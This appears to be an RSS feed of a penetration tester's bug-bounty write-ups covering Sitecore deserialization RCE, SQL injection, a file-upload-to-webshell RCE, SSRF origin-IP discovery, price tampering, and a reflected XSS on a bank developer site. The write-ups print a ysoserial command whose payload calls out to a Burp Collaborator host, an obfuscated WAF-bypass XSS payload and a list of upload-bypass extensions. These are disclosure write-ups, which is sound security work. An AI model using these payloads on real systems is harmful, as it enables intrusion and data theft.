            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zTJzNYwYlWaLFpvG_vmHsw.png" /><figcaption>SITECORE Pre-Auth Remote Code Execution</figcaption></figure><p>Hi!!!, In this Article I would like to tell you a little about how I accidentally discovered the “<strong><em>Pre-Auth Remote Code Execution (CVE-2021–42237)</em></strong>” Attack on one of the Vendors affected by this attack.</p><p><strong>Note </strong>: I will Censor any Vendor affected by this attack.</p><h3>Description</h3><p>Sitecore XP 7.5 Initial Release to Sitecore XP 8.2 Update-7 is vulnerable to an insecure deserialization attack where it is possible to achieve <strong><em>Remote Command Execution</em></strong> on the machine. No authentication or special configuration is required to exploit this vulnerability.</p><p>(<a href="https://nvd.nist.gov/vuln/detail/CVE-2021-42237">https://nvd.nist.gov/vuln/detail/CVE-2021-42237</a>)</p><h3>Reconnaissance</h3><p>First of all I get the login page from “Sitecore”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Iw4QyQt-uYcWGFNNH_1Xng.png" /></figure><p>And I found out about the Version used on this Sitecore by going to the page “<strong><em>/sitecore/shell/sitecore.version.xml</em></strong>”</p><p>(<a href="https://support.sitecore.com/kb?id=kb_article_view&amp;sysparm_article=KB0891209">https://support.sitecore.com/kb?id=kb_article_view&amp;sysparm_article=KB0891209</a>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*RhcjOFNvBjPhAxtA6dlm7g.png" /><figcaption>Sitecore Version 8.2 (Vuln)</figcaption></figure><p>After I got this Version of Sitecore I continued to look for Vulnerabilities that impacted this 8.2 version.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/993/1*w3CcohSiEv5xr3dq5g4Jiw.png" /></figure><p><strong><em>Versions affected</em><br></strong>Vulnerability SC2021–003–499266 affects the following Sitecore XP versions:<br><em>Sitecore XP 7.5 Initial Release — Sitecore XP 7.5 Update-2<br>Sitecore XP 8.0 Initial Release — Sitecore XP 8.0 Update-7<br>Sitecore XP 8.1 Initial Release — Sitecore XP 8.1 Update-3<br>Sitecore XP 8.2 Initial Release — Sitecore XP 8.2 Update-7</em></p><h3>Exploitation</h3><p>After I got the Vulnerable Version and Vulnerability Type I proceeded to try to exploit this vulnerable Website.<br>For more details regarding this attack you can see it here :<br>(<a href="https://blog.assetnote.io/2021/11/02/sitecore-rce/">https://blog.assetnote.io/2021/11/02/sitecore-rce/</a>)</p><p>1) I opened the page (/sitecore/shell/ClientBin/Reporting/Report.ashx) and Intercepted my Burpsuite and changed Request from GET to POST</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lOQ7BV7m1dzIPjfdM-H1mg.png" /></figure><p>2) And I also added simple XML which will be useful for triggering RCE</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6SojF6JalTPuTid4vZd0bA.png" /></figure><p>3) Use “ysoserial” to generate a serial payload that will lead to Remote Code Execution (RCE)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xh-jkY7tinJ1Mz38CoIzNQ.png" /><figcaption>nslookup is a network administration command line tool to query the Domain Name System for mappings between domain names and IP addresses, or other DNS records.</figcaption></figure><p>(./ysoserial.exe -f NetDataContractSerializer -g TypeConfuseDelegate -c “nslookup URL.burpcollaborator.net” -o base64 -t)<br>“<strong><em>NetDataContractSerializer</em></strong>” Inherently vulnerable to Command Execution.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/978/1*8pNHaTZlgwdO9xvqnINN6w.png" /><figcaption>Base64 Decode</figcaption></figure><p>4) After you create Payload RCE using Ysoserial now Decode it base64 and put it in “&lt;parameter name=””&gt;” section</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*_6oYuGlnbNtgHZedPVjLHQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TS2ALskqaaBMW3ojPBRhzg.png" /></figure><p>5) And when you run this Payload you will get DNS Response on your Burpcollaborator.</p><h3>Remediation</h3><p>In order to fix this vulnerability:<br>For Sitecore XP 8.0.0 — Sitecore XP 8.2.7, remove the Report.ashx file from /sitecore/shell/ClientBin/Reporting/Report.ashx from all your server instances.</p><p><strong><em>Note</em></strong>: The Report.ashx file is no longer used and can safely be removed.</p><h3>Timeline</h3><ol><li>1 July 2022 &gt; I sent a report to them</li><li>3 July 2022 &gt; They managed to fix this attack, by deleting the files “Report.ashx” in (/sitecore/shell/ClientBin/Reporting/Report.ashx)</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*49dZyI-rzRYaXI3fRwtgmQ.png" /><figcaption>NICE~</figcaption></figure><h3>Reference</h3><ul><li><a href="https://nvd.nist.gov/vuln/detail/CVE-2021-42237">NVD</a></li><li><a href="https://support.sitecore.com/kb?id=kb_article_view&amp;sysparm_article=KB1000776">%kb_name - %short_descr - Knowledge Portal</a></li><li><a href="https://blog.assetnote.io/2021/11/02/sitecore-rce/">Sitecore Experience Platform Pre-Auth RCE - CVE-2021-42237</a></li></ul><h3>Follow Me</h3><p><a href="https://www.linkedin.com/in/c3van/">Caesar Evan Santoso - Penetration Tester - Q2 Technologies | LinkedIn</a></p><p>Thankssss All!!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f62e35cb90de" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Journey to get “SQL Injection” at BluePay (BLUE Indonesia BluePay) — 2019]]></title>
            <link>https://caesarevan23.medium.com/the-journey-to-get-sql-injection-at-bluepay-blue-indonesia-bluepay-2019-7a23bbce4cb8?source=rss-5c412ee66076------2</link>
            <guid isPermaLink="false">https://medium.com/p/7a23bbce4cb8</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[bug-hunting]]></category>
            <category><![CDATA[sqlmap]]></category>
            <dc:creator><![CDATA[Caesar Evan Santoso]]></dc:creator>
            <pubDate>Sat, 09 Apr 2022 23:38:09 GMT</pubDate>
            <atom:updated>2022-04-09T23:38:09.251Z</atom:updated>
            <content:encoded><![CDATA[<h3>The Journey to get “SQL Injection” at BluePay (BLUE Indonesia BluePay) — 2019</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*mbdzP06SI7Dzw0qCDCYDQA.png" /><figcaption>BluePay~</figcaption></figure><p>Hello, In this article i want to share my experience getting <strong>SQL Injection</strong> on <strong>BluePay (BLUE Indonesia BluePay)</strong>, I found this vulnerability in 2019 when I was still a Vocational High School and this machine was very popular in my school, and that’s when I tried do Pentest on this Application.</p><p>And now BluePay has stopped operating :( And still I will censor the sensitive part<br><a href="https://www.facebook.com/bluemartindonesia/">https://www.facebook.com/bluemartindonesia/</a></p><h3>About BluePay</h3><p>PT Bluepay Digital International, an Electronic Money issuing company with the product name BluePay as well as a vending machine manager.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*28YL98rvDI64gsndhGX4YA.png" /></figure><h3>What is SQL injection ?</h3><p>About SQL Injection which is easy to understand :<br>1. SQL injection is a code injection technique that might destroy your database.<br>2. SQL injection is one of the most common web hacking techniques.<br>3. SQL injection is the placement of malicious code in SQL statements, via web page input.</p><h3>How do I get this Vulnerability?</h3><p>It all started with me trying the <strong>Referral Code</strong>, and the Usefulness of this Code when this Code is successfully used by other users we will get prizes such as free 1x food or drink pick-up.</p><p>And here is one example of the Referral Code I got</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/330/1*sDHaf35p5ndOoFoqw9w9qw.png" /><figcaption>Referral Code</figcaption></figure><p>And this Referral Code will redirect to another page, and that page is to process whether this code is valid or not.<br>Here I use cURL to see Response</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/1*OpYrA3oV5Wus36xKZggbKw.png" /><figcaption>Response Success</figcaption></figure><h3>Exploiting with SQLMap</h3><p>After I get Response Success as shown above, then I use <strong>SQLMap</strong> to exploit <strong>SQL Injection</strong> attacks</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*qS-moDQsOsFhyBW3558UnQ.png" /><figcaption>SQLMap</figcaption></figure><p>And I successfully get <strong>SQL Injection</strong> on parameter “<strong>channel</strong>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VBBoV7vMPLnpvFggRJrzRA.png" /></figure><p>Not only that, I also managed to get “<strong>352 Tables</strong>” in the Database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4q7PAYIVFJvBAOzDd7ri-Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*XLxpxzSQwv8FRWJgXTexsQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/558/1*MJW335n2YJ7rhgylkmLPaw.png" /></figure><h3>Timeline (Sad Ending~)</h3><p>For this I have tried to report this until 2020, but there is no response from BluePay~</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1nFXnT6KacX2A4Y59Ksr7w.png" /><figcaption>So saddd~</figcaption></figure><h3>Reference</h3><ul><li><a href="https://portswigger.net/web-security/sql-injection">What is SQL Injection? Tutorial &amp; Examples | Web Security Academy</a></li><li><a href="https://hackertarget.com/sqlmap-tutorial/">SQLmap Tutorial</a></li></ul><p>Thank Kyouuuu All!!!~</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e88-FCRw_zC8x-NBfoOrUg.jpeg" /></figure><h3>Follow Me</h3><p><a href="https://www.linkedin.com/in/c3van/">Caesar Evan Santoso - Penetration Tester - Q2 Technologies | LinkedIn</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7a23bbce4cb8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Get ZeroDay Attack UFU leads to RCE on one of the Vendors.]]></title>
            <link>https://caesarevan23.medium.com/how-i-get-zeroday-attack-ufu-leads-to-rce-on-one-of-the-vendors-bba8f2fe6a6b?source=rss-5c412ee66076------2</link>
            <guid isPermaLink="false">https://medium.com/p/bba8f2fe6a6b</guid>
            <category><![CDATA[unrestricted-file-upload]]></category>
            <category><![CDATA[remote-code-execution]]></category>
            <category><![CDATA[zero-day-attack]]></category>
            <dc:creator><![CDATA[Caesar Evan Santoso]]></dc:creator>
            <pubDate>Tue, 18 Jan 2022 14:38:35 GMT</pubDate>
            <atom:updated>2022-08-03T19:26:41.257Z</atom:updated>
            <content:encoded><![CDATA[<h3>How I Get ZeroDay Attack Unrestricted File Upload leads to RCE on one of the Vendors.</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/433/1*1NCWes2Yo48-StKATB7g2Q.png" /><figcaption>ZeroDay Attack</figcaption></figure><p>Hello, In this article I want to tell you a little about how I accidentally discovered the Unrestricted File Upload attack leads to Remote Code Execution on one of the vendors affected by this attack…</p><h3>Little Story</h3><p>Previously, I really didn’t know that those affected by the vulnerability that I found were directed to the main vendor, and because the bug that I found was considered critical, the vendor has updated to protect their clients from the same attack.</p><p>Andddd Still. I will do censorship regarding Vendors and other sensitive matters.</p><h3>Steps to Reproduce</h3><ol><li>Here I get a file upload form to fill in our account profile picture</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/402/1*rpLmefkD14LAchQExzk2iA.png" /><figcaption>aaaahhhh cute</figcaption></figure><p>2. And after I filled everything in, I activated Intercept on BurpSuite to take requests from Upload Files earlier</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*OJZ8DF590Vj8TZBhUc1bWA.png" /></figure><p>Umbraco is the CMS they use and after this Umbraco path is the path of the Vendor name, so I censored it.</p><p>3. And here are the Requests and Responses I got</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/407/1*_Rjgzt4D3PYds2VLjZFjaA.png" /><figcaption>Requests</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/521/1*rLIQIQNU0SfEf-vlKI96dA.png" /><figcaption>Responses</figcaption></figure><p>At this stage I also find it very strange, because we can direct where the files we will upload are just by changing the contents of the “target” parameter, and not only that, in fact I can also directly add folders in this case.</p><p>And for the results of the response, we can see that here I get information regarding the Full Path from this website</p><p>4. First I tried to change the extension to .html</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tbER8G4UmENeDZ0X6zvfDA.png" /></figure><p>And after I checked it it worked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/891/1*kif5K1xBYlbr3cz-dEPxZg.png" /><figcaption>Good start~</figcaption></figure><p>5. Then I tried extensions that are commonly used to bring up Code Execution such as “<em>.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml” </em>on Windows Servers</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/1*X2mlygMzyjfOH2m_4Rxt1Q.png" /><figcaption>Because the server used is “Microsoft-IIS” so I just tried the extension from ASP</figcaption></figure><p>And this failed</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/893/1*iwIAnCd2eXgUYna2NXxCPQ.png" /></figure><p>6. And I think that there is already a filter extension on this file upload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Xn69iJ6YFXPbkOmTwtgFvQ.png" /><figcaption>Hmmmmm</figcaption></figure><p>Because previously I could change the path related to the files that I would send, so I tried changing the extension and also changing the address of the files that I would send to the main Directory on the website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_0f7d2dPa-MfRQxZX1iSnw.png" /></figure><p>And don’t forget to also change the contents of your image into a shell script</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1019/1*SFnlzDmRJyVVVzbGCxvrpg.png" /></figure><p>Aaaannnnnddd, I managed to get the RCE of this File upload</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/514/1*LLXjRFtRTReaoqZP7u0r3w.png" /><figcaption>Remote Code Execution | I love it!!!!!❤❤</figcaption></figure><h3>Timeline</h3><ol><li>I report this bug to the owner of the affected website</li><li>I don’t know why I suddenly received an email from one of the developers from the software owner (Vendor) affected by this attack, And they want to send gifts to me.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*HF9vugIPc_Pt_hdeO9PzeA.png" /></figure><p>3. Then I make sure whether this RCE really impacts the Vendor, and Is it true that I have found Zeroday attack RCE on this application. <br>And below is the answer from the Developer</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*4-7gRgXogW1MVM_TOjyqeQ.png" /><figcaption>Yeayyyyyyy!!!</figcaption></figure><h3>Reference</h3><ul><li><a href="https://book.hacktricks.xyz/pentesting-web/file-upload">File Upload | HackTricks</a></li><li><a href="https://github.com/tennc/webshell/blob/master/asp/webshell.asp">webshell/webshell.asp at master · tennc/webshell</a></li></ul><p>I Hope you enjoyed this writeup!!!</p><h3>Follow Me</h3><p><a href="https://www.linkedin.com/in/c3van/">Caesar Evan Santoso - Penetration Tester - Q2 Technologies | LinkedIn</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bba8f2fe6a6b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SSRF External Service Interaction for Find Real IP CloudFlare and Leads to SQL Injection]]></title>
            <link>https://caesarevan23.medium.com/ssrf-external-service-interaction-for-find-real-ip-cloudflare-and-leads-to-sql-injection-c22c02243299?source=rss-5c412ee66076------2</link>
            <guid isPermaLink="false">https://medium.com/p/c22c02243299</guid>
            <category><![CDATA[external-service]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[bug-hunter]]></category>
            <category><![CDATA[bypass]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Caesar Evan Santoso]]></dc:creator>
            <pubDate>Fri, 27 Aug 2021 19:50:13 GMT</pubDate>
            <atom:updated>2021-08-27T19:50:13.958Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bGyve6T4pIPSzp564gzhag.jpeg" /><figcaption>My reaction when I find a case like this</figcaption></figure><p>Hello, here I just want to tell about my experience finding a real IP using CloudFlare through “SSRF External Interaction” and getting a form login for Admin and there is a SQL Injection bug.</p><h3>Little Story</h3><p>Previously I had also found SQLi vulnerabilities on this website but this time it felt a little interesting for me to write up, and to get SSRF up to SQLi I got it only for a few hours and not for days.</p><p>Ahhh I almost forgot, for the address of this website and some sensitive data I will delete / censor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/472/1*Oz6l9XAg8vBpfn-r9q-iFQ.png" /><figcaption>Enjooooyyyy</figcaption></figure><h3>Steps to Reproduce</h3><ol><li>After doing a little recon I get the endpoint (<strong>/api/resize.php?image=</strong>)</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bp67vHiP9BjIAJ8e20zmUg.png" /></figure><p>And when I use the SQLmap tool there is info that the parameter (image) may have a “File Inclusion” vulnerability, OKkkkkk here I don’t know if this is an RFI vuln? or LFI?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*KKV6ph49RrXwIQkIEhMdhw.png" /></figure><p>I tried several times regarding the LFI payload but it didn’t work, and when I tried RFI it didn’t work either :’(</p><p>2. when I want to try RFI which I will remote from my local ip but get response “Error 524”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1pIn0smMWSiFvAEqSzB1ZA.png" /></figure><p>3. Hmmm, next I will use “Burp Collaborator Client” to try <strong>SSRF External Service Interaction</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g2zd4-opTD5iXCMpxkVKwQ.png" /><figcaption>Found Real IP</figcaption></figure><p>Annnndddd niiicceee, I got an HTTP request from an IP address that I don’t know where it came from…</p><p>4. When I open the IP address and there is a display like the website I’m testing, to make sure this is a real address or not (CloudFlare) you can use the “dig” command or via shodan.io</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0Wpxz26c6rVIQcpXU9QQBw.png" /></figure><p>Using “dig” I found only 2 IP addresses starting with 104 and 172, what I got was 103</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/1*ddcZ_r5nTDl1eXEUe1D1wA.png" /></figure><p>By using shodan.io</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*2YXwcLDLvyeG6VZKKMqkOw.png" /><figcaption>Niceeee!!!</figcaption></figure><p>5. If it’s still not enough, you can use the Wappalyzer extension and check the “CDN” section</p><p>Within the protection of CloudFlare &amp; No CloudFlare protection</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/546/1*81rk9RecThIJkJ1QQ0uKxQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/539/1*IsUOXeQlsJZ4CoZZWACaDA.png" /></figure><p>6. After I was sure I got the original IP from the website, I did a little recon using dirsearch and found the (<strong>/dashboard/</strong>) folder which contains the XAMPP display and has PHPinfo open</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u-AsKwmZ73HMAeezC5g8UA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FNXs6uZZN3R4sRsWwy_cUA.png" /><figcaption>PHPinfo</figcaption></figure><p>7. And I also get the login page, used a bit of payload for SQLi bypass login but that didn’t work</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gqQMtMj6nqecldYEai4rYQ.png" /></figure><p>8. There is a “Forgot Password” menu, I enter the original email and then I activate Intercept Burp to retrieve the request data</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0hMNvFny1hBZdjO34CqGZg.png" /></figure><p>9. I added a single quote at the end of my email and got an error</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rcTE5N96fYUP9JFrhjA1vw.png" /></figure><p>10. i saved the request and then i run SQLMap and then i got what i was looking for!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/991/1*trsuJfXeOtDQNTdKBD1GAQ.png" /><figcaption>I Love ittttt❤❤</figcaption></figure><h3>Reference</h3><ul><li><a href="https://portswigger.net/kb/issues/00300200_external-service-interaction-dns">External service interaction (DNS)</a></li><li><a href="https://hackerone.com/reports/1023920">Stripo Inc disclosed on HackerOne: SSRF external interaction</a></li></ul><p>By the wayyy correct me if i wrong in the sense of this bug~<br>I hope you enjoyed this writeup!!! SSSSKKKKKRRRRTTTT!!!!</p><h3>Follow Me</h3><p><a href="https://www.linkedin.com/in/c3van/">Caesar Evan Santoso - Penetration Tester - Q2 Technologies | LinkedIn</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c22c02243299" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bypass WAF 500 Unauthorized Access! to Reflected XSS (Cross Site Scripting)- Developer BCA]]></title>
            <link>https://caesarevan23.medium.com/bypass-waf-500-unauthorized-access-to-reflected-xss-cross-site-scripting-developer-bca-159f5e195a36?source=rss-5c412ee66076------2</link>
            <guid isPermaLink="false">https://medium.com/p/159f5e195a36</guid>
            <category><![CDATA[bypass]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-hunter]]></category>
            <category><![CDATA[xss-filter-bypass]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Caesar Evan Santoso]]></dc:creator>
            <pubDate>Mon, 01 Mar 2021 12:06:21 GMT</pubDate>
            <atom:updated>2021-03-01T12:06:21.495Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*9mxZrC-FJTY22-mjhTv4rA.png" /><figcaption>Waf! Waf! Waf!</figcaption></figure><p>Hello, here I just want to share my experience regarding finding the XSS (Cross site scripting) bug at one of the banks in Indonesia, namely BCA (Bank Central Asia).</p><h3>Little Story</h3><p>I previously got this URL from <strong>17 May 2019</strong> and it comes from an email from Bank BCA, namely “<strong>Developer BCA</strong>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/683/1*ZoDW_FLfbAJ3ttiOqgxRrA.png" /><figcaption>Email from Developer BCA</figcaption></figure><p>And this is where I get the parameters that are vulnerable to this XSS attack.<br>Parameter = <strong>/registration/confirmemail.php?confirm=0</strong></p><h3>Steps to Reproduce</h3><ol><li>Opening the website page <a href="https://developer.bca.co.id/registration/confirmemail.php?confirm=0">https://developer.bca.co.id/registration/confirmemail.php?confirm=</a>XSS</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5z9z8m6kkUBoFxBXuaUUCw.png" /></figure><p>2. Then I try to add Single Quote (‘) and HTML Tags like (&lt;and&gt;) I get it not encoded at all.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1cO5OkhN7ijIrbbx3JzPlQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SVrPo_asldJmkNApaDtyzg.png" /></figure><p>3.When I want to try to pop up a simple alert like <strong>test Function`alert () ``` </strong>and the website will immediately experience an error that may be from the WAF and have the message “<strong>Unauthorized Access!</strong>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i52-ASo-T9dXtw71RFZXqQ.png" /></figure><p>Here I feel quite proud because a few days earlier I read Write Up from my Facebook, which in my opinion is the same case I am experiencing today!!!</p><p>4. Next I will show you related to the Write Up that I meant earlier</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/545/1*KMozRBD-MWAG4F3_5hrP_A.png" /><figcaption><a href="https://www.facebook.com/Alone.Injector">https://www.facebook.com/Alone.Injector</a> (Fareed Baloch)</figcaption></figure><p>Full Payload : <strong>test ‘-Function`self[‘a’\x2b’l’\x2b’e’\x2b’r’\x2b’t’]\x281\x29```-’</strong></p><p>This payload uses Unicode Hex :<br><strong>test ‘-Function`self[‘a’\x2b’l’\x2b’e’\x2b’r’\x2b’t’]\x281\x29```-’<br>test ‘-Function`self[‘a’+’l’+’e’+’r’+’t’](1)```-’</strong></p><p>Aaannnddddddd …. It worked !!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aBOYOnB8hJUQGg2V-XeIvg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QmNTEWb-Qj5OMA3K0E2slQ.png" /><figcaption>I love it❤</figcaption></figure><h3>Bad Ending~</h3><p>There was no response from Team BCA but the bug has now been fixed :(</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lb7aYhHEIJp72z8v4-aWzw.png" /></figure><h3>Reference</h3><ul><li><a href="https://webcache.googleusercontent.com/search?q=cache%3Ae4lR1pzil20J%3Ahttps%3A%2F%2Fwww.facebook.com%2Fkawalicrew%2F%3Fpageid%3D105583411079361%26ftentidentifier%3D173905290913839%26padding%3D0%20&amp;cd=8&amp;hl=en&amp;ct=clnk&amp;gl=id&amp;client=firefox-b-d">Kawali Crew</a></li><li><a href="https://owasp.org/www-community/attacks/xss/">Cross Site Scripting (XSS) | OWASP Foundation</a></li></ul><p>I hope you enjoyed this writeup!!! SSSSKKKKKRRRRTTTT!!!!</p><h3>Follow Me</h3><p><a href="https://www.linkedin.com/in/c3van/">Caesar Evan Santoso - Penetration Tester - Q2 Technologies | LinkedIn</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=159f5e195a36" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Found a simple “Price Parameter Tampering” on IT Bootcamp (Indonesia)]]></title>
            <link>https://caesarevan23.medium.com/found-a-simple-price-parameter-tampering-on-it-bootcamp-indonesia-43e5f90306a?source=rss-5c412ee66076------2</link>
            <guid isPermaLink="false">https://medium.com/p/43e5f90306a</guid>
            <category><![CDATA[bug-hunter]]></category>
            <category><![CDATA[manipulation]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[parameter-tampering]]></category>
            <dc:creator><![CDATA[Caesar Evan Santoso]]></dc:creator>
            <pubDate>Sun, 06 Dec 2020 18:37:11 GMT</pubDate>
            <atom:updated>2020-12-06T18:37:11.705Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*zBHOfzRpFilgUP5_s1R03g.jpeg" /><figcaption>Bug Hunter</figcaption></figure><p>Hello, here I just want to give a little story about the finding of the bug “Price Parameter Tampering” on one of the IT Bootcamp websites in Indonesia.</p><h3><strong>Summary</strong></h3><p>The Parameter tampering attack relies on the manipulation of parameters changed by the user so as to change application information like user credentials and permissions and amount of product, etc. Usually, this data is passed in post request or in hidden kind fields.</p><h3>Impact</h3><p>Due to a business logic error, I was able to change the starting price from 9 million to 9 thousand,<br>Rp. 9,000,000.00 to Rp. 9,000</p><h3>Steps to Reproduce</h3><ol><li>Collect all purchases and put them in the shopping cart.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/885/1*slxMOCjOCelbQXCvIEs9hA.png" /><figcaption>❤</figcaption></figure><p>2. I capture data using Burpsuite.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/317/1*SRByXbnkt6R3Jmpuqv3CVg.png" /><figcaption>Ahhh very expensive</figcaption></figure><p>3. Then I will change the price to (7500) &amp; (1750).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/446/1*VbGx6Tq4zlnd8Wyc5guWkw.png" /><figcaption>Very good!!! very cheap now!</figcaption></figure><p>4. And now the price is going to be cheaper than it should be!<br>This payment will continue until the “OVO” payment application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/283/1*jdA8H_p4yE5d75zkCnJWCQ.png" /><figcaption>I love it❤</figcaption></figure><h3>Remediation</h3><ol><li>Don’t rely on controls which depend on the browser — <strong>don’t depend on client-side validation</strong> and storing in the browser.</li><li>When the product is added in the cart calculate <strong>md5 sum or any hash</strong> for the total request and compare with the backend so that if any manipulation happened in the request for any value it is different from server’s hash.</li><li>Validate input for <strong>improper characters</strong> and <strong>data types</strong>. Specifically for this case, we can keep a check for quantity with negative range. Keeping range from 1–10 since the max value is defined we can define minimum value. Always define the maximum as well as minimum value that the application will accept.</li></ol><h3>Timeline</h3><p>&gt; 25 Oct 2020 : Report.<br>&gt; 16 Nov 2020 : They informed me that the bug was fixed.</p><h3>Reference</h3><ul><li><a href="https://www.owasp.org/index.php/Web_Parameter_Tampering">Web Parameter Tampering</a></li><li><a href="https://www.cgisecurity.com/owasp/html/ch11s04.html">Parameter Manipulation</a></li></ul><p>I hope you enjoyed this writeup!!!</p><h3>Follow me</h3><p>Linkedin : <a href="https://www.linkedin.com/in/c3van/">https://www.linkedin.com/in/c3van/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=43e5f90306a" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>